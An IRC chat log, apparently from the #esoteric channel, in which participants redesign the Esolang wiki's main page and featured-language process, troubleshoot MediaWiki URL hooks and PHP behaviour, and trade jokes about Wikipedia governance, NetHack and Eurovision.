01:42:23 <Maharba> That's two. Quintopia asked for one.
01:42:27 <Sgeo> elliott, tswett monqy upate
01:42:33 <elliott> Yay, a tswett monqy update.
01:42:39 <oerjan> elliott is bad at following instructions.
01:42:51 <elliott> Maharba: I don't want quintopia to get what he wants!
01:42:56 <tswett> Yeah, you haven't tswett monqy upated *once*.
01:43:00 <oerjan> better than a sweat monkey update.
01:43:10 <tswett> Hm... yeah, I have to give that to you.
01:43:21 <zzo38> quintopia: Fugue, Musical-X, and also see the list of ideas.
01:43:34 <Maharba> elliot: What do you think of moving the main page trilime to the right as before?
01:46:15 <oerjan> indeed, that would clash with the default to the left on _all_ pages...
01:46:31 <elliott> Maharba: Yeah, I just tried that; the problem is that the "This wiki is dedicated to the fostering and documentation of programming languages designed to be unique, difficult to program in, or just plain weird." paragraph gets a really large bottom margin if you do that.
01:46:39 <elliott> Since the logo is bigger than it (and it doesn't scale nicely).
01:46:53 <elliott> Not sure. Might keep it. Might try and shrink the logo to a size it doesn't look ugly at...
01:47:34 <Maharba> oerjan: I'm not talking about the logo that is always to the left, I'm talking about the additional trilime on the main page.
01:47:54 <oerjan> Maharba: i'm saying that those would clash if they were next to each other
01:48:31 <elliott> Duplicating the logo on the main page is really silly anyway, it's a cheap hack to make it look a bit fancier :P
01:48:40 <elliott> But an effective cheap hack!
01:49:49 <oerjan> giant trilime background. best idea?
01:50:27 <Maharba> Why is the logo the trilime anyway?
01:51:20 <oerjan> the limes were kidnapped by hysterical raisins
01:52:20 <elliott> Maharba: That is a question many have asked, and few have answered.
01:52:34 <elliott> Apparently Graue just found the picture and liked it.
01:53:00 <elliott> It was on MediaWiki Commons but later deleted due to licensing reasons, which troubles me somewhat.
01:53:08 <oerjan> it makes the whole page look su*hit by falling anvil*
01:53:21 <Maharba> elliott: You uploaded the trilime file, not Graue.
01:53:45 <elliott> Maharba: It was already the wiki logo since 2005.
01:53:53 <elliott> It was just in a MediaWiki path.
01:54:02 <elliott> I uploaded it so it could be used on the main page (which only uploaded images can).
01:54:24 <elliott> Then when the wiki moved over, I just reused the uploaded version as the logo path.
01:54:39 <Maharba> I can't think of a logo that would make sense, so we might as well stick with the trilime.
01:56:20 <RocketJSquirrel> Instead of trying to find a logo that makes sense, we should make an esolang that has a lot to do with three and limeness, to make trilime relevant.
01:57:40 <elliott> http://esolangs.org/wiki/User:Ehird/Main_Page First draft.
01:58:49 <elliott> I removed it until I can figure out where it should go.
01:59:11 <Maharba> What about centering the "Welcome to esolang"?
01:59:30 <elliott> A background trilime might actually be a decent idea; if it was enlarged, made translucent, and went in the corner, it could just get hidden behind the boxes.
01:59:49 <elliott> Maharba: Tried that, made the "This wiki..." paragraph look weird. (Centring that paragraph too makes it look weirder.)
02:00:02 <elliott> I suppose I could center the div they appear in and then center the "Welcome ..." in that... I'll give it a try.
02:00:07 <Maharba> How about indenting, then?
02:00:45 <RocketJSquirrel> elliott: In my previous experience, enlarged trilime = terrible trilime.
02:01:20 <elliott> RocketJSquirrel: You have... enlarged the trilime before?
02:02:47 <elliott> I suppose I should note that RocketJSquirrel is Gregor for Maharba's sake :P
02:03:27 <Maharba> Hi, Gregor for Maharba's sake.
02:03:56 <elliott> RocketJSquirrel: Well, I did find the original source of the trilime (it's considerably larger).
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02:04:37 <elliott> It was known as "Three cut limes" in primitive times.
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02:08:06 <elliott> RocketJSquirrel: Unfortunately finding that source again is a pain >_>
02:08:10 <elliott> It was a shady Wiki-mirror.
02:11:39 <elliott> Apparently I never linked it in the logs >_>
02:13:29 <elliott> http://esolangs.org/wiki/User:Ehird/Main_Page I think I broke it.
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02:53:00 <Maharba> Finalized the main page design yet?
02:54:16 <elliott> Relatedly, someone remind me to remember to remove the bot flag from my account once I'm done with it, or I'll be invisible in recentchanges forever...
02:55:25 <Maharba> Not invisible, just hiding.
03:00:12 <elliott> There need to be more colours. I'm commissioning RocketJSquirrel to create some new colours.
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03:06:29 <elliott> Blue, green, yellow... it sure would be great if more colours existed.
03:06:40 <elliott> "The following is a comprehensive list of colors." -- Wikipedia
03:07:03 <elliott> Unfortunately, it is not a listing of every single wavelength on the visible spectrum.
03:09:45 <Maharba> You haven't used blue yet.
03:12:18 <Sgeo> Would it be infinite?
03:12:23 <elliott> Maharba: The top-left of http://esolangs.org/wiki/User:Ehird/Main_Page is blue.
03:12:45 <Sgeo> Or is there a smallest quantity of difference between wavelengths?
03:12:46 <elliott> Sgeo: Ask fizzie, he answered that the last time kallisti asked it. :p
03:13:43 <elliott> Well, lilac is bluey purple. :p
03:15:26 <Maharba> I would be recommending green (my favorite color), but it's already in use.
03:16:39 <elliott> I would say the yellow is bordering on orange anyway. But I'm trying orange.
03:23:48 <elliott> How're the colours on http://esolangs.org/wiki/User:Ehird/Main_Page
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03:24:05 <HackEgo> Canaimero-bdc: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
03:27:33 <Maharba> I'd put the yellow on Featured language.
03:28:01 <elliott> Might be a good idea. I picked green for it because it's the colour of the trilime. (Can you sense a pattern?)
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03:31:53 <shachaf> Just the right number of 't's in that word.
03:36:24 <elliott> Maharba: There we go: http://esolangs.org/wiki/User:Ehird/Main_Page
03:36:42 <elliott> Apart from fleshing out the content of the boxes a bit, I think the lilac needs brightening and the red needs to look less salmon... other than that I'm happy with the colours.
03:37:38 <Maharba> Lilac brightening and maybe slightly more saturation would be good. I think then we just need the Featured language template before it can overwrite the current Main Page.
03:39:08 <elliott> I'd rather add a little more material to the boxes first, but yes, it's close.
03:40:03 <elliott> Not sure. The bottom ones are just so small. :p
03:40:07 <elliott> Also I don't really like the list presentation in some of them.
03:41:09 <Maharba> Maybe change the list of categories link to Esolang:Categorization (better organized).
03:45:00 <Maharba> You could add the help page in Editor or Meta.
03:46:03 <elliott> Agreed. I fixed the lilac: http://esolangs.org/wiki/User:Ehird/Main_Page
03:50:30 <elliott> http://esolangs.org/wiki/User:Ehird/Main_Page Okay, this is looking good. Still need to tweak the red and make the "for readers" section less listy, but I like this.
03:50:49 <elliott> Oh, I should add back the IRC plug.
03:50:51 <elliott> (Did anyone even notice that?)
04:06:22 <Maharba> Is the link to main page talk useful?
04:06:48 <elliott> Probably not, I added it as a cheap joke in that it's the most meta possible entry there :P
04:06:52 <elliott> (Except a link to the main page itself, I suppose.)
04:07:24 <Maharba> Main page itself would be funnier.
04:08:45 <elliott> Hmm, there's some brokenness when I try to link to the main page itself...
04:10:16 <shachaf> Whoa, man, infix fixed-point combinator.
04:10:52 <shachaf> > let fa f 0 = 1; fa f n = n * f (n-1) in fa `fix` 5
04:11:19 <elliott> That's kind of nice, actually.
04:12:11 <elliott> Does anyone have a problem with me unilaterally declaring /// the first featured language so I can put this thing up? :p
04:12:51 <elliott> Okay, give me a few minutes to get the templates and whatnot set up and it'll go live.
04:15:20 <shachaf> elliott: Can you write me a really simple interactive untyped lambda calculus interpreter?
04:17:10 <shachaf> elliott: For teaching purposes!
04:19:16 <elliott> "Despite this, it is surprisingly Turing-complete" -- this reads awkwardly. :(
04:24:31 <Maharba> Despite this, it still manages to be Turing-complete
04:24:48 <elliott> Especially the idea of a language actively trying to be TC :)
04:25:11 <shachaf> Surprisingly, it is still surprisingly Turing-complete. Surprise!
04:25:39 <shachaf> "How Turing-complete is that language?" "It's surprisingly Turing-complete! Several times the Turing-completeness I expected it to be."
04:26:34 <zzo38> Someone made up this definition of a planet: It orbits a star, and it is possible to park the Starship Enterprise into an orbit around it.
04:29:54 <elliott> Maharba: By the way, the selection process I came up with while discussing with oerjan earlier was that anyone could propose a single language that they didn't create in a simple list. Whenever it's time to switch over, an admin will select one according to a set of guidelines (that oerjan came up with; basically requiring the article to be well-written, preferably with examples and an implementation, favouring variety of themes, etc.), write a b
04:29:54 <elliott> lurb, and feature it; they'll then remove it from the list. Periodically (less often than the featured language changes), the list will be blanked, and everyone can suggest again (as long as it's not the same language as last time). The reasoning behind this is that it's nice that people can just propose them without having to specifically propose them for a certain two-week cycle or the like, and there's no reason to invalidate previous suggesti
04:29:55 <elliott> ons because a different good one was picked; but that having an indefinitely-growing list is not practical, and specifically removing entries that aren't any good would just create friction.
04:30:18 <elliott> That keeps the required effort for everyone very low, while keeping the candidate selection democratic.
04:31:08 <Maharba> Okay. I think people should be also allowed to comment on suggestions.
04:32:35 <elliott> I considered that, but thought it'd probably get noisy. Feedback like "the article needs improvements" is useful, but criticism of the language itself won't really help much; there don't really seem to be many esolangs that the community wildly disagrees on the value of, so it seems like it would usually be redundant. But I'm not certain.
04:33:17 <elliott> I mean, it seems like proposing a language you like better would generally be more useful than criticising an existing suggestion.
04:35:04 <Maharba> Just stuff like "I'd like this one featured because it has such-and-such" or "The article for this one could use some more examples—don't feature it just yet"
04:36:00 <elliott> Well, the guidelines will be written up, so people will know what an article should have to get featured. But I'll think about it. Not like there's been *any* suggestions yet, anyway; back to templates...
04:36:27 <zzo38> Do you think mathematics is science? Do you think philosophy is science?
04:38:44 <zzo38> Maharba: I agree; my answer is also no to both questions.
04:40:13 <zzo38> Many people say mathematics is science; I disagree. Among other things, mathematics is more exact than science.
04:41:10 <Maharba> And relies on logical proof rather than testing of theories by experiment.
04:44:35 <elliott> I daresay not every mathematician personally verifies every single one of the proofs their work depends on.
04:44:54 <elliott> The pure methods are different, but neither mathematics nor science are practiced in a vacuum, and they use the same infrastructure of peer review.
04:45:09 <elliott> So I rather think mathematics looks a lot more like science in practice than it does in theory.
04:45:39 <elliott> Indeed, you could call verifying someone's proof "repeating their experiment"....
04:46:09 <Maharba> Except that they are fundamentally different concepts.
04:47:01 <elliott> Like I said: the study itself is vastly different. But the framework surrounding them makes them look a lot more similar.
04:47:47 <Maharba> How about the distinction between engineering and science?
04:50:11 <elliott> I think engineering is an activity that involves the application of science: not two directly comparable concepts, but one a utilisation of the other.
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05:46:43 <Sgeo> monqy, elliott tswett UPDATE
05:46:59 <elliott> aaand the new main page is live
05:47:01 <elliott> http://esolangs.org/wiki/Main_Page
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05:50:21 <monqy> new main page you say
05:54:51 <elliott> monqy: where's the deja vu,,,
05:55:51 <elliott> i think wikipedia's main page looked similar circa 2004????
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06:02:44 <elliott> We really need a page that links to "miscellany" like [[Hello world program in esoteric languages]] and [[EsoInterpreters]].
06:08:49 <calamari> elliott: a suggestion.. in the "for readers" section.. "Firstly, ... first place" uses "first" twice, consider changing at least one?
06:09:15 <kmc> i'm running 'dieharder', a suite of PRNG statistical tests
06:09:22 <kmc> one test is that it simulates 200,000 games of craps
06:09:38 <elliott> calamari: Hmm... is "in the first place" a UK idiom? Probably a good idea.
06:10:14 <elliott> "find out what an esoteric programming language is in the first place" ~ "find out what on earth an 'esoteric programming language' is" ~ "find out what an esoteric programming language *is*, anyway" ~ etc.
06:10:26 <elliott> So the "firsts" aren't really sharing a meaning there :P
06:10:51 <elliott> RocketJSquirrel: I think you will find the new main page appropriately... solid.
06:12:21 <elliott> calamari: I removed the "Firstly,"
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06:17:14 <elliott> Someone convince me not to make [[Deadfish]] my candidate.
06:17:23 <elliott> I shouldn't, because if I do I won't be able to stop myself from choosing it.
06:18:04 <Sgeo> Canditate for what?
06:19:21 <Sgeo> Most implemented language?
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06:20:01 <elliott> See http://esolangs.org/wiki/Esolang:Featured_languages.
06:21:25 <Sgeo> What is so great about Deadfish
06:21:37 <elliott> Sgeo: What? Are you kidding?
06:21:44 <elliott> Deadfish is the greatest programming language ever.
06:23:25 <elliott> Hmm, why doesn't http://esolangs.org/wiki/Category:Featured_languages list ///?
06:29:42 <zzo38> elliott: OK; don't make [[Deadfish]] your candidate.
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06:33:27 <elliott> http://en.wikipedia.org/wiki/696_(number) This just in from Wikipedia...
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06:36:33 <elliott> AAAAAAAAAA MY FACE IMPLODE
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06:56:36 <elliott> @tell oerjan Thank you for that list of rules, by the way; they turned into my featured language selection guidelines.
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07:01:10 <elliott> monqy: Is the new ESOLANG MAIN PAGE as BEAUTIFUL AS YOUTH?
07:01:25 <monqy> nothing is as beautiful as youth
07:02:04 <Sgeo> elliott, if a language is submitted once by one person, and doesn't make the cut, can it be submitted again by a different person, or is that it?
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07:12:47 <elliott> Sgeo: Oh, that policy is worded badly.
07:13:06 <elliott> Clarified: http://esolangs.org/wiki/Esolang:Featured_languages/Candidates
07:14:36 <Sgeo> I should be learning to sleep
07:14:57 <Sgeo> Especially considering that on Wednesday...
07:15:06 <Sgeo> </personal-info>
07:15:27 <Sgeo> elliott, ok, thanks
07:16:23 <itidus20> i think <a1 b1="c1" b2="c2" bN="cN"> </a1> type notation as seen in html is very clever.. but what i wonder about is how safe it is to use such a language without paying anyone
07:17:15 <ion> Yeah, you really should pay me to be safe.
07:17:15 <Sgeo> KILL THE FLEDGLING XML LOVER
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07:17:48 <Sgeo> Hmm, I can imagine if someone were cyberstalking me and saw that line, they'd fear for my stability.
07:18:23 <elliott> Most internet users have something known as a sense of humour.
07:18:25 <itidus20> i think you underestimate the tenacity of a crazed cyberstalker
07:18:32 <elliott> They'll doubt your stability for completely unrelated reasons!
07:18:39 <elliott> Also, do you really think he needs to know about XML?
07:20:19 <itidus20> i don't like it though.. i think it brought problems with software patents more into public eye when microsoft got sued over that xml patent thing in word
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07:37:37 <elliott> the esowiki, err, changed a fair amount since you were last here
07:37:47 <elliott> you have new obligations now! (technically)
07:37:52 <ais523> I haven't even been asleep since then!
07:38:01 <elliott> http://esolangs.org/wiki/Main_Page is probably the easiest place to start.
07:38:34 <ais523> actually, I was reading the history in my RSS reader
07:38:37 <ais523> which is normally how I read Esolang
07:38:54 <elliott> yes, it's just that there's an awful lot of history this time :)
07:39:01 <elliott> you'll know why it happens before the what.
07:40:20 <elliott> ais523 doesn't know the crime of being wikipsychic :'(
07:40:54 <ais523> it was pretty similar on Wikipedia, btw; things rarely took me by surprise because I had a habit of reading the relevant discussion pages
07:41:05 <ais523> although obviously I couldn't read every edit to the whole wiki
07:44:51 <elliott> by the way, since the main page's title is hidden now and i just redesigned it, i may be unusually susceptible to arguments that it should be moved to [[Esolang:Main page]].
07:45:16 <ais523> it's only Esolang, I don't really care
07:45:23 <ais523> well, I sort-of do, but most of my arguments don't apply
07:45:46 <elliott> did you /really care/ on Wikipedia? /really/?
07:46:54 <ais523> hmm… "don't really" is not actually an absolute opposite of "really"
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07:50:31 <elliott> "Additionally, the decision states that there is no opportunity for a further appeal to Jimbo Wales if the Committee is reviewing a ban originally imposed by Jimbo Wales." -- I was wrong about Jimbo being the final appeals process for ArbCom
07:50:43 <elliott> Jimbo is the final appeals process for ArbCom, except when ArbCom is serving as the final appeals process for Jimbo
07:51:03 <elliott> have I mentioned I'm reading this Wikipedia metanonsense for pure entertainment?
07:51:21 <ais523> it is pretty entertaining, indeed
07:51:29 <ais523> although I don't think that's its intended purpose
07:51:59 <elliott> anyway, now I just have to set up a situation whereby an ArbCom decision's final appeal process is Jimbo /and vice versa/ simultaneously
07:52:13 <elliott> then Jimbo will have to become the ArbCom to resolve it
07:52:24 <ais523> clearly you need Jimbo and ArbCom to ban the same person simultaneously and independently
07:52:32 <ais523> although I suspect that would simply just leave them with no appeals at all
07:52:47 <elliott> i think that's fairly decisive as these things go
07:53:09 <elliott> no, we need ArbCom and Jimbo to both take non-opposite, but contradictory actions to resolve the same situation simultaneously
07:53:31 <elliott> that way, nobody knows what to do, and they aren't in agreement
07:57:40 <ais523> "There are 4,507 registered users, but most of them are spambots."
07:58:19 <ais523> elliott: hmm, I remember the case where there were community sanctions on someone, and arbcom agreed with them, then later converted them to a simple ban because nobody could figure out what they meant
07:59:01 <elliott> ais523: yes, i realise that a 1:4 article:user ratio would be rather unlikely :)
07:59:16 <ais523> I was just amused at the statistic
07:59:44 <elliott> I'm interested in feedback on the featured languages process, btw
08:00:14 <elliott> I tried to keep it as low-overhead as possible, but I still have a feeling submissions will completely stagnate, leaving it up to mostly the whims of the admin updating it (which is basically what i proposed to start with anyway)
08:01:47 <elliott> ais523: hey, you have an anonymised google: are we really the top result for "Enjoy being locked in your matrix of solidity."?
08:02:00 <elliott> because, I mean... I hope so
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08:02:15 <ais523> well, it's still probably going to try to geolocate me
08:03:04 <elliott> right, it's just that google knows I've clicked esolangs.org a lot
08:03:07 <ais523> a page about Graue is third, and the logs of this channel are fourth
08:03:15 <elliott> indeed, that matches what i see too
08:03:21 <ais523> none of the other results on that page look relevant
08:03:22 <elliott> the graue page is just his realname from the whois of the domain
08:03:26 <ais523> this is without quotes, btw
08:03:32 <ais523> elliott: yes, I guessed it was autogenerated
08:03:42 <ais523> btw, have you looked at the link in the topic?
08:03:46 <ais523> not the logs link, the other one
08:03:57 <elliott> before you ask, it's pornography, and also warez
08:05:47 <ais523> it had been there for a while
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08:06:02 <ais523> and I trust Gregor to that extent
08:06:20 <ais523> I mean, he could just as easily put warez and pornography on codu.org
08:06:25 <ais523> well, maybe not quite as easily
08:06:50 -!- itidus22 has changed nick to itidus20.
08:08:07 <elliott> I know *I* put warez and pornography on codu.org.
08:09:04 <zzo38> elliott: I wouldn't expect it to be your job to put anything on codu.org, I thought that was Gregor's job.
08:12:01 <elliott> ais523: btw, *did* you have any comments on the featured language process, or are you still reading the changes?
08:12:50 <elliott> ais523: i made the best of a bad situation :P
08:13:27 <elliott> ais523: btw, you need to propose [[Deadfish]] as a candidate.
08:14:36 <elliott> are you saying Deadfish _isn't_ the greatest programming language ever designed?
08:15:05 <ais523> are /you/ saying @lang isn't the greatest programming language ever designed?
08:15:16 -!- ais523 has left ("before someone mentions Feather").
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08:16:13 <elliott> ais523: anyway, no, @lang is just the least _sucky_
08:16:24 <elliott> deadfish comes from a position where there is no suck.
08:16:28 <elliott> like it's at the suck pole.
08:18:53 <itidus20> i got confused about which lang but lets just pretend i didnt try to use math
08:18:55 <elliott> ok i'll just get oerjan to propose deadfish then.
08:35:59 <zzo38> I am working on TeXnicard a bit now, and I realize, one of the paragraphs mentions bad luck, and that names mentioned in the index include: Damian Conway, Bryce Courtenay, David Fuchs, Israel Houghton, Ron Luce, George Marsaglia, Martin Pool, and Steve Smith. However, Donald Knuth's name is not in there. Perhaps it should be, if it has algorithms which are based on his algorithms?
08:38:00 <zzo38> (My name is not in there either)
08:38:45 <zzo38> The index of TeX: The Program mentions Hercule Poirot.
08:51:10 <zzo38> Actually, in my program, Donald Knuth is mentioned in the bibliography, just not in the index.
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10:27:59 <elliott> ais523: helpful tip to write a wikipedia article about yourself: make three copies of the exact same article with different content, one of which will be deleted as copyvio, contest the speedying of only one of the remaining ones, then post it as a new section on [[Talk:Main Page]] once they get deleted
10:28:25 <ais523> I don't think that would work :)
10:28:34 <elliott> doesn't mean you can't try!
10:28:43 <ais523> did someone just try that on Wikipedia? or on Esolang?
10:28:49 <elliott> wikipedia. esolang would be more amusing
10:28:58 <elliott> this lead me to discover that none of the scary warning templates support telling someone you've speedy-tagged _three_ of your articles.
10:29:07 <elliott> so i had to edit the pluralisation in after the fact.
10:29:24 <ais523> elliott: it's usual to send three scary warnings in response to that
10:29:33 <ais523> I'm not sure if it's /correct/, or even if there's a point
10:29:35 <elliott> but they're the same article!
10:29:45 <ais523> yes but it's like three clicks in Twinkle!
10:29:54 <elliott> in fact, I should have pluralised "page" but not "article"
10:30:29 <elliott> ok, I'm feeling very *Wikipedia*, time to move the main page to Esolang:Main page
10:30:33 <elliott> (the wikipedia main page, naturally)
10:30:40 <elliott> that /is/ the correct name for Esolang, right?
10:31:29 <ais523> there is something kind of horrifyingly awesome about that
10:31:38 <ais523> lowercase p on "Main page"? wouldn't uppercase be better?
10:31:55 <ais523> note that we'll still need a redirect from the old location pretty much forever
10:31:58 <elliott> ais523: the sidebar entry is "Main page", and the default community portal page was changed to [[Project:Community portal]]
10:32:08 <elliott> so i presume it's the intended capitalisation of pages like that
10:32:34 <elliott> and yes, right up until I invent my esolang Main Page
10:32:39 <ais523> my suggestion on Wikipedia was "Portal:Main", but "Esolang:Main" doesn't make sense
10:33:04 <ais523> actually, my real preferred solution was to rename it to the null string
10:33:09 <ais523> but apparently MediaWiki doesn't support that
10:33:11 <elliott> I wish MW used /wiki/ as the URL for the main page, so it didn't expose the title
10:33:27 <elliott> probably I could make it do that with some kind of hook, but: blergh
10:33:36 <elliott> still, http://esolangs.org/wiki/Esolang:Main_page is a really ugly url.
10:33:48 <ais523> it's kind-of ugly even without the Esolang:
10:34:43 <elliott> but http://esolangs.org/wiki/Main_Page at least makes /sense/, http://esolangs.org/wiki/Esolang:Main_page is massively redundant and has a random colon in it
10:35:38 <fizzie> I suggest something like http://esolangs.org/wiki/wiki.php/Esolang:Main_page?namespace=Esolang&title=Main_page&wiki=esolangs, if you can manage it.
10:36:48 <elliott> http://www14.esolangs.org/load.pl?/cgi-bin/esolang/mediawiki/wiki.phtml?title=Esolang:Main_page&PHPSESSID=59aa95ad46cd67d82ba0f812407326dd
10:37:17 <ais523> and it fails with any other PHPSESSID?
10:37:28 <ais523> or just redirects you to the correct one :)
10:37:28 <elliott> ais523: naturally; load.pl is a load balancer
10:37:35 <elliott> ais523: the PHPSESSID is the session of the proxy server
10:37:46 <elliott> this also means that only one person can be logged in at any one time
10:38:14 <ais523> elliott: gah, we have a debugger like that that we're using for our GPU programming
10:38:26 <ais523> only one person across the whole department can debug a GPU program at a time
10:38:39 <elliott> yes, but do you get to share their debugging?
10:38:43 <ais523> not a licensing restriction, it's a complicated technical restriction
10:38:50 <elliott> with this system, admins just log in, work *really fast*, then log out before anyone can do anything
10:38:56 <ais523> I guess you could use screen or something to do that
10:39:58 <elliott> oh dear, now I'm actually looking at how to override the URL of the main page
10:40:05 <elliott> it looks like they introduced a very convenient hook for it ........... in 1.19
10:43:10 <ais523> this gives you a perfect excuse to procrastinate!
10:43:15 <elliott> if (strpos($url, $wgScript.'?') !== false) {
10:43:29 <elliott> is there a /reason/ to write a conditional like that in PHP?
10:43:32 <elliott> if yes, please don't tell me why
10:43:38 <ais523> elliott: oh, . is string concatenation there?
10:43:49 <ais523> I thought it was method invocation for a moment
10:43:54 <ais523> which would have been awesome but worrying
10:44:02 <elliott> handy guide to reading php code: it's like perl but everything's dumb
10:44:24 <ais523> now I want a language that lets you call methods ? and isn't Smalltalk-like
10:44:33 <ais523> (doing it in Smalltalk is too easy)
10:44:37 <ais523> I guess JavaScript does
10:45:03 <ais523> and Lua lets you define them, but I'm not sure offhand if there's any way to call them
10:45:04 <elliott> hmm, I've convinced mediawiki that the URL to the main page is /wiki/
10:45:09 <elliott> but it still redirects that to /wiki/Main_Page
10:47:33 <elliott> wow, look what i did http://esolangs.org/wiki/Main_Page
10:47:38 <elliott> in the next 5 seconds before i fix it
10:48:12 <elliott> "Welcome to Esolang, the wiki!" does have a nice ring to it
10:48:23 <elliott> and "Learn" is an excellent bullet point
10:49:04 <fizzie> "Discuss the wiki on the".
10:49:28 <fizzie> "Otherwise, you could help out with a ."
10:49:53 <fizzie> "You'll probably want to find out what on earth an is in the first place."
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10:53:26 <elliott> wow, Conservapedia runs PHP via CGI
10:53:45 -!- ais523_ has changed nick to ais523.
10:53:47 <elliott> that's... well... to be expected, I suppsoe
10:53:53 <elliott> ais523: http://conservapedia.com/Special:Version
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10:54:03 <ais523> also, I'm guessing you somehow managed to make all links not show up? or edited them out of the page?
10:54:26 <elliott> i made my function insert an HTML comment whenever it's called upon to talk about a link
10:54:39 <elliott> so it messed up every link, and also forced the TOC into the main page and things like that
10:54:57 <elliott> you say "live production environment" I say "test server"
10:55:11 <fizzie> How does esolang run PHP? FCGI?
10:55:30 <elliott> FastCGI via the php-fpm daemon, plugged into nginx.
10:55:31 <fizzie> Oh, I guess I should've just Special:Version'd.
10:55:51 <elliott> fizzie: Nonono, I'm perfectly happy to gloat about my setup considering the pain it took to set up.
10:56:11 <elliott> Have I mentioned that /w/ doesn't really exist, the relevant scripts are all mapped to a completely different filesystem path?
10:57:43 <elliott> ais523: hey, when's Eurovision?
10:57:53 <ais523> I don't know; Wikipedia probably does
10:58:00 <elliott> fizzie: hey, when's Eurovision?
10:58:09 <fizzie> I think it's reasonably soonishly.
10:58:20 <elliott> Deewiant: hey, when's Eurovision?
10:58:26 <ais523> 22 and 24 may are the semifinals
10:58:30 <fizzie> Well, that's not *so* soon.
10:58:35 <fizzie> I would've guessed April.
10:58:42 <elliott> ais523: Thanks, I was looking for a FINNISH QUALITY ANSWER though.
10:58:53 <ais523> it's after NetHack Apocalypse Day, which I really need to prepare for
10:58:59 <fizzie> Though I suppose I should've known, because it was when we were in Paris, and that was probably May.
10:59:16 <ais523> elliott: it's a secret that isn't really all that secret, and I invented the name for it just now
10:59:25 <ais523> but we're planning it for april 1 so that nobody believes it when it happens
10:59:32 <ais523> and so that we can back out of it really easily
11:00:02 <ais523> (fun fact: you can back out of pretty much anything that isn't illegal if you do it on april 1)
11:00:13 <elliott> ais523: nitrohack is being released as nethack 4.0.0?
11:00:43 <ais523> yes, but it's more complex than that
11:00:47 <elliott> i hope this stunned silence is the silence of TRUTH rather than typing delay
11:00:49 <ais523> and requires the coordination of quite a lot of people
11:00:57 <elliott> ais523: "...without the devteam's consent"?
11:01:06 <ais523> but that's more than we managed last year
11:01:17 <ais523> I haven't even finished merging NiceHack yet, though
11:01:43 <elliott> Didn't one of the DevTeam complain about the platform support you're dropping? Are you going to kill them?
11:02:30 <elliott> That is the silence of truth again.
11:02:53 <ais523> silence of reading another window, pinging me helps if you want a quick answer
11:03:04 <elliott> I prefer it to be the silence of truth.
11:03:21 <ais523> and my solution, unlike daniel_t's, is to say that I'm supporting a small set of platforms to start with just to get something moving, and willing to expand as people willing to test and send in patches are found
11:03:37 <ais523> this viewpoint is actually probably equivalent to his, but less controversial
11:04:02 * elliott notes the devteam consent question remains pointedly unanswered.
11:04:15 <ais523> oh, we're not getting their consent for this
11:04:41 <ais523> you know what we really need? someone at Debian to mistake it for not an april fool's thing and package it up
11:05:00 * elliott can't tell how much of an April Fool's Joke this is.
11:05:15 <elliott> You realise Debian are far too serious to let an April Fool's Joke stay in if they realise later, right?
11:07:07 <ais523> they package INTERCAL!
11:07:41 <ais523> and as long as it hits testing with the new major version, they can't subsequently reduce the major version number
11:07:55 <ais523> they'd either have to add a majorer version number to let them drop it back down to 3.4.3, or lie and call it 4.4.3 or something
11:08:37 <elliott> Anyway, I thought you meant you were actually planning a coup.
11:08:42 <elliott> That was more interesting.
11:10:19 <ais523> we might go onto a coup
11:10:24 <ais523> if the april 1 thing is well-received
11:12:51 <elliott> ais523: Can you fix this hook?
11:13:10 <ais523> not in my current state of tiredness
11:15:24 <elliott> I'd ask #mediawiki, but I think they'd start yelling at me not to do that.
11:16:05 <elliott> ais523: tell past elliott he's a moron
11:16:30 <ais523> elliott: I'm no good at retroactive IRC
11:19:57 <elliott> hmm, that was interesting, I momentarily made [[Talk:Main Page]] the main page
11:21:08 <ais523> for any particular reason? or by mistake?
11:21:31 <shachaf> I went to sleep at 22:whatever or so and woke up.
11:21:52 <shachaf> I need to be nice and properly awake 12 hours from now.
11:22:04 <shachaf> Can you solutionise my problem?
11:22:58 <elliott> ais523: oh dear, now I'm getting annoyed at /w/ URLs too
11:33:29 <shachaf> What will I be in 12 hours?
11:34:37 <elliott> <elliott> in the GetLocalURL hook, $url is a path, but in GetFullURL, it's a full URL, right? i.e. you can't just use the same function for both hooks, their input/output is different
11:34:37 <elliott> <Dantman> Why do you need to override GetFullURL?
11:35:37 <shachaf> You can't be in channels that I'm not in!
11:37:48 <elliott> Why is str_replace( '$1', '', '/wiki/$1' ) not '/wiki/'? :(
11:38:11 <ais523> arguments in a different order, perhaps?
11:38:33 <elliott> mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )
11:38:33 <elliott> This function returns a string or an array with all occurrences of search in subject replaced with the given replace value.
11:38:57 <elliott> $wgArticlePath = '/wiki/$1';
11:39:02 <elliott> This gets mutated into /wiki/The_Actual_Title.
11:39:09 <elliott> Because PHP's globals reset on every request.
11:39:22 <elliott> Who chose to mutate the template into its output?
11:39:30 <ais523> they aren't really globals
11:40:01 <elliott> They're request variables.
11:40:58 <elliott> The problem is that I forgot
11:41:04 <elliott> and so it was just using the empty string instead.
11:41:50 <elliott> ais523: btw, the reason /wiki/ was redirecting to /wiki/Main_Page is that I configured nginx to do that
11:44:14 <elliott> another 20-second error: http://esolangs.org/wiki/Main_Page
11:47:31 <elliott> ais523: fizzie: group-ping
11:47:52 <elliott> freenode have a simplified group registration form now, that's just for freenode (rather than PDPC), and requests much less information
11:48:07 <elliott> which means we could secure #esoteric and get it out the way with a lot easier, since they're processed quicker.
11:49:34 <elliott> http://freenode.net/grf-f.php -- Primary; Informal Group; Single, discrete group; esoteric; http://esolangs.org/; #esoteric,#esoteric-* for the first few values seems right
11:49:50 <elliott> actually, #esoteric-* might be wrong
11:50:01 <elliott> #esoteric-minecraft probably shouldn't fall under its jurisdiction, for instance
11:50:45 <ais523> well, it's a channel that was spun off in order to deflect away offtopic material
11:50:55 <ais523> hmm, does #irp count along the same lines? it's basically just a honeypot for Reddit
11:50:57 <elliott> yes, but #esoteric-the-group should not own it
11:51:23 <ais523> probably just #esoteric
11:51:31 <ais523> do we care about #esoteric-offtopic or #esoteric-blah?
11:51:31 <elliott> hmm, it asks for your role in the project, and suggests you should be senior; if the URL is esolangs.org, that suggests ais523 should do it
11:51:35 <elliott> or else I should op fizzie or oerjan
11:52:31 <elliott> "Small blurb about project" -- it's going to take some full-time bullshitting to pretend we're on the organisational level of something that could be called a "project" ;)
11:52:37 <elliott> [DEAR FREENODE STAFFERS: I AM KIDDING.]
11:53:36 <elliott> ais523: oh dear, after all that effort, MediaWiki thwarts me
11:53:38 <ais523> exploration of insufficiently explored theories of programming language design
11:53:50 <elliott> if it gets an empty path info, it ends up convinced that it needs to redirect
